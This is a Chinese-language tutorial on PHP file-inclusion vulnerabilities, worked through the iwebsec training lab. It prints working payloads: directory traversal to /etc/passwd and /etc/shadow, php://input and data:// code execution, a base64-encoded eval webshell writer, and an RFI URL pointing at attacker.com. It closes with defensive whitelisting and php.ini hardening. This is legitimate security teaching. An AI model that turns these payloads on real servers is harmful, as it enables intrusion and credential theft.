当前位置: 首页 > news >正文

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析

PHP 文件包含漏洞实战:iwebsec 靶场 10 关核心利用手法与 3 类伪协议解析

在 Web 安全领域,文件包含漏洞(File Inclusion Vulnerability)一直是渗透测试中的高频攻击点。iwebsec 靶场作为国内知名的 Web 安全实战平台,其文件包含模块设计了 10 个由浅入深的关卡,全面覆盖了本地文件包含(LFI)、远程文件包含(RFI)、Session 文件包含以及 PHP 伪协议利用等核心攻击手法。本文将基于实战视角,系统性地拆解这 10 个关卡的技术要点,并深入分析 3 类关键伪协议的底层原理与创新利用方式。

1. 靶场环境搭建与基础概念

1.1 Docker 靶场快速部署

使用官方提供的 Docker 镜像可在 30 秒内完成环境搭建:

docker pull iwebsec/iwebsec:latest docker run -d -p 8001:80 --name iwebsec iwebsec/iwebsec

访问http://localhost:8001即可进入靶场界面,文件包含漏洞模块路径为/fi/目录。

1.2 文件包含漏洞本质

当 PHP 代码使用以下函数动态包含文件时,若未对参数进行严格过滤,则可能引发漏洞:

include($_GET['file']); require_once($path.'header.php');

攻击者通过控制文件路径参数,可实现:

  • 读取服务器敏感文件(/etc/passwd)
  • 执行任意 PHP 代码(WebShell)
  • 触发反序列化漏洞

漏洞类型对比表

类型触发条件典型危害
本地文件包含(LFI)能访问服务器本地文件敏感信息泄露、代码执行
远程文件包含(RFI)allow_url_include=On直接获取服务器控制权
Session 文件包含Session 内容可控权限提升、持久化后门

2. 基础关卡:本地文件包含实战

2.1 关卡 1:直接文件包含

漏洞代码

// fi/01.php $filename = $_GET['filename']; include($filename);

利用方式

http://localhost:8001/fi/01.php?filename=../../../../etc/passwd

关键技巧

  • 使用../进行目录遍历
  • Linux 常见敏感文件路径:
    /etc/passwd # 用户账户信息 /proc/self/environ # 环境变量 /var/log/apache2/access.log # Web日志

2.2 关卡 2:过滤绕过技术

当系统过滤/字符时,可采用以下手法:

方法一:URL 编码绕过

?filename=..%2f..%2f..%2fetc%2fpasswd

方法二:超长路径截断(PHP<5.2.8)

# 生成 4096 个字符的路径 payload = './'*2048 + 'etc/passwd'

3. 高阶利用:Session 与伪协议

3.1 关卡 3:Session 文件包含

攻击链构建

  1. 发现 Session 可控点:
    /fi/03.php?iwebsec=<?php phpinfo();?>
  2. 获取 Session ID:
    // Chrome DevTools -> Application -> Cookies document.cookie.match(/PHPSESSID=([^;]+)/)[1]
  3. 包含 Session 文件:
    /fi/01.php?filename=../../../../var/lib/php/sessions/sess_abc123

Session 文件路径规律

  • 默认路径:/var/lib/php/sessions/
  • 命名规则:sess_[PHPSESSID]

3.2 关卡 6-8:PHP 伪协议深度利用

3.2.1 php://filter 协议

源码读取技巧

/fi/06.php?filename=php://filter/convert.base64-encode/resource=index.php

提示:Base64 编码可避免 PHP 代码被直接执行

过滤器链组合应用

# 多重编码绕过WAF payload = 'php://filter/convert.iconv.UTF-8.UTF-7|convert.base64-encode/resource=config.php'
3.2.2 php://input 协议

POST 数据执行

GET /fi/07.php?filename=php://input HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded <?php system("id");?>

木马写入技巧

<?php file_put_contents('shell.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbJ2MnXSk7'));

4. 远程文件包含与特殊协议

4.1 关卡 4-5:RFI 利用条件

必要配置检查

// php.ini 关键配置 allow_url_fopen = On allow_url_include = On

绕过域名限制技巧

/fi/05.php?filename=http://attacker.com/shell.txt? /fi/05.php?filename=http://127.0.0.1:8080/bypass.txt%23

4.2 关卡 9-10:data:// 与 file:// 协议

data:// 代码执行

/fi/10.php?filename=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOw==

file:// 绝对路径读取

/fi/09.php?filename=file:///etc/shadow

5. 防御方案与实战建议

5.1 安全编码规范

// 白名单校验 $allowed = ['header.php', 'footer.php']; if(in_array($file, $allowed)) { include($file); } // 路径固定化 define('BASE_DIR', '/var/www/includes/'); include(BASE_DIR . $file);

5.2 服务器加固措施

  1. PHP 配置优化:
    allow_url_include = Off open_basedir = /var/www/html:/tmp
  2. 文件权限控制:
    chmod -R 750 /var/www chown -R www-data:www-data /var/www

在实战渗透测试中,文件包含漏洞往往与文件上传、SQL 注入等漏洞形成组合攻击链。建议在 iwebsec 靶场中尝试以下进阶练习:

  • 通过 LFI 读取数据库配置文件
  • 结合日志文件包含实现无文件攻击
  • 利用 phar:// 协议触发反序列化
http://www.jsqmd.com/news/1149928/

相关文章:

  • Nacos <=2.2.0 JWT 默认密钥漏洞复现:3步构造有效Token接管后台
  • Burp Suite Turbo Intruder 并发测试:3个真实SRC案例复现与脚本分析
  • 软件License设计5大安全挑战:从虚拟机/Docker逃逸到Agent模拟攻击
  • Upload-Labs Pass-02/03 实战:Content-Type与黑名单绕过,2种方法成功率100%
  • NetBackup 10.1 外部CA配置后登录失败:5步排查与证书存储修复
  • Hutool-crypto 5.8.10 密钥管理:从内存硬编码到配置文件安全的3步演进
  • WebDAV 方法实战检测:OPTIONS/PUT/DELETE 等 8 种方法自动化探测与利用
  • Burp Suite 2024.6 与 5款开源插件对比评测:漏洞检出率提升40%实测
  • AOPR 7.21 实战:3种攻击模式破解Office 2019文档,成功率提升80%
  • 多模态Transformer实战:CLIP与BLIP-2模型在图文检索中的3种融合策略对比
  • C语言数组越界漏洞:从缓冲区溢出到密码验证绕过实战分析
  • 业务逻辑漏洞防御指南:基于墨者学院6个靶场案例的3层防护策略
  • 微信消息自动转发终极指南:3步实现跨群信息同步
  • 高校教务系统安全审计实战:基于新正方 8.0 的 5 个常见越权测试点与修复验证
  • Fastjson 1.2.83 安全升级实战:修复 CVE-2022-25845 的 3 种方法与兼容性验证
  • 如何高效遍历数值列表,筛选满足阈值条件的元素
  • XXE漏洞防御:PHP/Java/Python 3种语言5行代码修复方案对比
  • Office文档密码恢复工具对比:AOPR 7.21 vs Passper 4.0 功能与性能实测
  • 宝塔面板 7.9.8 目录权限与安全加固:10个关键目录的权限设置指南
  • iwebsec靶场 XXE漏洞实战:3种外部实体利用方式与Burp Collaborator盲注
  • AppScan 扫描 X-Content-Type-Options 缺失:5步修复与误报排查指南
  • CVE-2019-15107 漏洞深度剖析:Webmin密码重置功能中的1处命令注入逻辑缺陷
  • 如何快速解锁加密音乐:3个实用技巧与完整解密指南
  • D3KeyHelper:基于事件驱动架构的暗黑破坏神3智能按键调度系统
  • vCenter Server 6.7 U1+ 密码安全:2步SSH重置与90天过期策略管理
  • Samba 3.5.0-4.6.4 漏洞防御:3 种缓解措施与 1 个自动化检测脚本
  • EM3080-W条码解码芯片与PIC18LF46K42硬件设计解析
  • Burp Suite 2024.6 主动扫描实战:3步配置精准发现SQL注入与XSS漏洞
  • 钉钉机器人 Webhook 安全配置实战:3步完成阿里云服务器端口与签名验证
  • Android/iOS 隐私合规集成:3步配置极光推送SDK延迟初始化